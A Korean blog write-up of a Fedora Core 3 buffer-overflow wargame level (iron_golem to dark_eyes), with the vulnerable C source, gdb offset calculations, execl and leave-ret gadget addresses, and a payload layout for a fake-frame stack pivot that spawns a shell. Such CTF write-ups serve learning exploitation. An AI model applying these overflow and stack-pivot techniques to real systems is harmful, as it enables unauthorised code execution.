둘둘리둘둘리둘둘리둘둘리둘둘리둘

[Fedora Core 3] iron_golem -> dark_eyes 본문

War game/해커 스쿨 FC3

[Fedora Core 3] iron_golem -> dark_eyes

dool2ly 2015. 8. 22. 19:13

/*

        The Lord of the BOF : The Fellowship of the BOF

        - dark_eyes

        - Local BOF on Fedora Core 3

        - hint : RET sleding

*/


int main(int argc, char *argv[])

{

        char buffer[256];

        char saved_sfp[4];


        if(argc < 2){

                printf("argv error\n");

                exit(0);

        }


        // save sfp

        memcpy(saved_sfp, buffer+264, 4);


        // overflow!!

        strcpy(buffer, argv[1]);


        // restore sfp

        memcpy(buffer+264, saved_sfp, 4);


        printf("%s\n", buffer);

}


sfp값을 저장해놨다가 strcpy후에 다시 sfp를 복구시킨다.

그렇다면 iron_golem풀때 썼던방법을 약간 변형해서 문제를 풀어보자.


main의 sfp를 조작할 수 없으니 main을 호출한 __libc_start_main의 SFP와 RET주소를 iron_golem문제와 같은 방식으로 덮어씌우고


main의 ret주소를 leave-ret의 주소로 조작하면 __libc_start_main의 스텍 프레임에서 iron_golem 해답과 같은 동작을 하게 될것이다 .. 그러니까 요약하자면 leave-ret을 이용하여 메인의 스텍프레임이 아니라 한프레임 높은 스텍 프레임을 사용하는것


low address

buffer 




 SFP(수정불가)

 RET

 ????




 SFP

 RET

high address


그럼 공격을 위해 알아야할것은 buffer+dummy의 크기와 위 그림에서 ????의 크기 그리고 leave-ret의 주소, 변하지않는 값을 가진 주소를 가리키고있는 주소, execl+3의 주소가 되겠다.


buffer+dummy의 크기, ????의 크기

(gdb) b *main+177

Breakpoint 2 at 0x80484b9

(gdb) r DDDDDDDD

The program being debugged has been started already.

Start it from the beginning? (y or n) y


Starting program: /home/iron_golem/dark_eye1 DDDDDDDD

(no debugging symbols found)...(no debugging symbols found)...DDDDDDDD


Breakpoint 1, 0x080484b8 in main ()

(gdb) x $esp

0xfee6cc10:     0x08048234

(gdb) x/24 $esp

0xfee6cc10:     0x08048234      0x00719744      0x00718fb4      0x00719e70

0xfee6cc20:     0x00000000      0xfee6cc74      0x0070b423      0xfee6cd98

0xfee6cc30:     0x44444444      0x44444444      0x00000000      0x00000000

0xfee6cc40:     0x00000000      0x0072cad0      0x007279b8      0x0071f338

0xfee6cc50:     0x00719b88      0x00000003      0x00719e40      0x00719e70

0xfee6cc60:     0x0177ff8e      0x08048267      0x00718fb4      0x007196a4

(gdb) x $ebp

0xfee6cd38:     0xfee6cd98


buffer + dummy 의 크기 : 0xfee6cd38 - 0xfee6cc30 = 0x108(264)

????의 크기 : 0xfee6cd(SFP) - 0xfee6cd38 - ret들어갈 자리 - sfp들어갈 자리 = 0x58(88)



[iron_golem@Fedora_1stFloor ~]$ readelf -S ./dark_eye1 | grep got

  [20] .got              PROGBITS        0804968c 00068c 000004 04  WA  0   0  4

  [21] .got.plt          PROGBITS        08049690 000690 000020 04  WA  0   0  4

[iron_golem@Fedora_1stFloor ~]$ gdb ./dark_eye1 -q

(no debugging symbols found)...Using host libthread_db library "/lib/tls/libthread_db.so.1".

(gdb) x *0x08049690

0x80495c4 <_DYNAMIC>:   0x00000001

(gdb) disassemble execl

Dump of assembler code for function execl:

0x007a5720 <execl+0>:   push   %ebp

0x007a5721 <execl+1>:   mov    %esp,%ebp

0x007a5723 <execl+3>:   lea    0x10(%ebp),%ecx

0x007a5726 <execl+6>:   push   %edi

(gdb) disassemble main
Dump of assembler code for function main:
0x08048408 <main+0>:    push   %ebp
0x08048409 <main+1>:    mov    %esp,%ebp
...
...
0x08048499 <main+145>:  call   0x8048330 <_init+72>
0x0804849e <main+150>:  add    esp,0x10
0x080484a1 <main+153>:  sub    esp,0x8
0x080484a4 <main+156>:  lea    eax,[ebp-264]
0x080484aa <main+162>:  push   eax
0x080484ab <main+163>:  push   0x80485a8
0x080484b0 <main+168>:  call   0x8048320 <_init+56>
0x080484b5 <main+173>:  add    esp,0x10
0x080484b8 <main+176>:  leave
0x080484b9 <main+177>:  ret
0x080484ba <main+178>:  nop
0x080484bb <main+179>:  nop

fake ebp : 0x08049690 - 8 = 0x08049688

execl+3 : 0x007a5723

leave-ret : 0x080484b8


그럼 이제 쉘을 띄워줄 0x01이란 이름의 실행 파일을 준비하고 아래와 같은 페이로드를 구성하면 되겠다.

[ 더미(268) | leave-ret | 더미(88) | fake ebp | execl+3 ]


--풀이--


Comments